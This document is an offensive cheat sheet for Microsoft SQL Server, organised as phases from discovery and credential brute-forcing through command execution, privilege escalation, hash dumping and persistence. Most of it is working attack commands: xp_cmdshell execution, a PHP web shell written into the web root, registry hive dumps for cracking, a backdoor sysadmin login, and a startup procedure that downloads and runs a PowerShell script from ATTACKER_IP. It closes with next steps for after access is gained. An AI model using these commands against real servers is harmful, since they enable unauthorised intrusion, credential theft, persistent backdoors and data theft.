Microsoft SQL Server
Environment Variables / Setup
export IP=
export PORT=1433
export USER=sa
export PASS=password
export DOMAIN=domain.local
Phase 1: MSSQL Service Discovery
Nmap MSSQL Scripts
nmap --script=ms-sql-* -p $PORT $IP
Service Detection
# Check MSSQL service
nmap -sV -p $PORT $IP
# UDP discovery (SQL Server Browser)
nmap -sU -p 1434 $IP
# Banner grabbing
telnet $IP $PORT
Phase 2: Authentication Testing
Anonymous Access Testing
# Test Windows authentication
impacket-mssqlclient $IP -windows-auth
# Test SQL authentication
impacket-mssqlclient $IP
Default Credentials Testing
# Common MSSQL default credentials
impacket-mssqlclient $USER:$PASS@$IP
impacket-mssqlclient sa:@$IP
impacket-mssqlclient sa:sa@$IP
impacket-mssqlclient sa:password@$IP
impacket-mssqlclient administrator:password@$IP
# Windows authentication
impacket-mssqlclient domain/user:password@$IP -windows-auth
Password Brute Force
# Using hydra
hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt $IP mssql
# Using nmap
nmap --script ms-sql-brute --script-args userdb=/usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt,passdb=/usr/share/wordlists/rockyou.txt -p $PORT $IP
Phase 3: MSSQL Enumeration
Basic Information Gathering
# Connect to MSSQL
impacket-mssqlclient $USER:$PASS@$IP
# Basic enumeration
SELECT @@version;
SELECT USER_NAME();
SELECT DB_NAME();
SELECT name FROM sys.databases;
SELECT name FROM sys.tables;
Database and Table Enumeration
# List all databases
SELECT name FROM master.dbo.sysdatabases;
# Switch database
USE database_name;
# List tables in current database
SELECT table_name FROM information_schema.tables;
# List columns in table
SELECT column_name FROM information_schema.columns WHERE table_name='users';
# Show table contents
SELECT * FROM users;
User and Permission Enumeration
# Show current user
SELECT SYSTEM_USER;
SELECT USER;
# List all SQL logins
SELECT name FROM master.dbo.syslogins;
# Check sysadmin privileges
SELECT IS_SRVROLEMEMBER('sysadmin');
# List server roles
SELECT name FROM master.dbo.syslogins WHERE sysadmin = 1;
Phase 4: MSSQL Command Execution
xp_cmdshell (Primary Attack Vector)
# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
# Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
# Execute commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'ipconfig';
EXEC xp_cmdshell 'net user';
Alternative Command Execution Methods
# Using sp_OACreate (if xp_cmdshell blocked)
DECLARE @myshell INT;
EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT;
EXEC sp_oamethod @myshell, 'run', null, 'cmd /c "echo test > c:\temp\test.txt"';
# Using SQL Agent Jobs (requires privileges)
USE msdb;
EXEC dbo.sp_add_job @job_name = 'test_job';
EXEC sp_add_jobstep @job_name = 'test_job', @step_name = 'test_step', @subsystem = 'cmdexec', @command = 'whoami > c:\temp\output.txt';
EXEC dbo.sp_add_jobserver @job_name = 'test_job';
EXEC dbo.sp_start_job N'test_job';
Phase 5: MSSQL File Operations
Reading Files
# Read files using BULK INSERT
CREATE TABLE temp (line varchar(8000));
BULK INSERT temp FROM 'c:\windows\system32\drivers\etc\hosts';
SELECT * FROM temp;
DROP TABLE temp;
# Using OPENROWSET (if enabled)
SELECT * FROM OPENROWSET(BULK 'c:\windows\system32\drivers\etc\hosts', SINGLE_CLOB) AS Contents;
Writing Files
# Write to file using bcp
EXEC xp_cmdshell 'echo "evil content" > c:\temp\evil.txt';
# Create web shell
EXEC xp_cmdshell 'echo ^<?php system($_GET["cmd"]); ?^> > c:\inetpub\wwwroot\shell.php';
Phase 6: MSSQL Privilege Escalation
Service Account Impersonation
# Check for impersonation privileges
SELECT name FROM sys.server_permissions p LEFT JOIN sys.server_principals pr ON pr.principal_id = p.grantee_principal_id WHERE p.permission_name = 'IMPERSONATE';
# Impersonate sa user
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
# Check current privileges after impersonation
SELECT IS_SRVROLEMEMBER('sysadmin');
Linked Server Exploitation
# Enumerate linked servers
SELECT name FROM master.dbo.sysservers WHERE isremote = 1;
EXEC sp_linkedservers;
# Execute queries on linked servers
SELECT * FROM OPENQUERY("LINKED_SERVER", 'SELECT @@version');
# Execute commands through linked servers
SELECT * FROM OPENQUERY("LINKED_SERVER", 'SELECT @@version; EXEC xp_cmdshell ''whoami''');
Phase 7: Hash Extraction
Extract Password Hashes
# Extract MSSQL hashes (requires sysadmin)
SELECT name, password_hash FROM sys.sql_logins;
# Extract Windows hashes via xp_cmdshell
EXEC xp_cmdshell 'reg save hklm\sam c:\temp\sam.save';
EXEC xp_cmdshell 'reg save hklm\security c:\temp\security.save';
EXEC xp_cmdshell 'reg save hklm\system c:\temp\system.save';
Crack Extracted Hashes
# Use hashcat for MSSQL hashes
hashcat -m 1731 mssql_hashes.txt /usr/share/wordlists/rockyou.txt
# Use john for extracted hashes
john --format=mssql hash_file.txt
Phase 8: Post-Exploitation
Persistence via MSSQL
# Create backdoor login
CREATE LOGIN backdoor WITH PASSWORD = 'P@ssw0rd123';
EXEC sp_addsrvrolemember 'backdoor', 'sysadmin';
# Create startup stored procedure
USE master;
CREATE PROCEDURE sp_backdoor AS EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://ATTACKER_IP/shell.ps1'')"';
EXEC sp_procoption @ProcName = 'sp_backdoor', @OptionName = 'startup', @OptionValue = 'on';
Data Exfiltration
# Export database contents
EXEC xp_cmdshell 'sqlcmd -E -Q "SELECT * FROM database.dbo.users" -o "c:\temp\users.txt"';
# Backup database
BACKUP DATABASE database_name TO DISK = 'c:\temp\database_backup.bak';
Phase 9: MSSQL in Active Directory
Kerberos Authentication
# Connect using Kerberos ticket
impacket-mssqlclient -k -no-pass $DOMAIN/$USER@$IP.$DOMAIN
# Request service ticket for MSSQL
impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $DC_IP -target-domain $DOMAIN
Domain Privilege Escalation
# Check if MSSQL service runs as domain account
SELECT SERVERPROPERTY('IsIntegratedSecurityOnly');
# If service account has high privileges, abuse for domain escalation
EXEC xp_cmdshell 'powershell -c "whoami /priv"';
MSSQL Security Misconfigurations
Common Issues to Check
- Default credentials (sa with weak/no password)
- xp_cmdshell enabled with sysadmin access
- Excessive service account privileges
- Linked server misconfigurations
- Impersonation privileges granted
- SQL Agent job permissions
- Weak authentication (SQL Server auth vs Windows auth)
MSSQL Enumeration Checklist
- Anonymous access testing
- Default credentials testing
- User enumeration and privilege checking
- Database and table discovery
- xp_cmdshell capability testing
- Linked server enumeration
- Impersonation privileges checking
- File read/write operations
- Hash extraction attempts
Tools Summary
# Enumeration & Exploitation
impacket-mssqlclient, nmap mssql scripts
# Hash cracking
hashcat, john
# Post-exploitation
sqlcmd, PowerShell, custom stored procedures
Common MSSQL Ports
1433/tcp - MSSQL default
1434/udp - SQL Server Browser Service
Next Steps
Once MSSQL access is gained:
- Enable xp_cmdshell for command execution
- Extract sensitive data from databases
- Check for linked servers and lateral movement
- Attempt privilege escalation via service accounts
- Extract password hashes for further attacks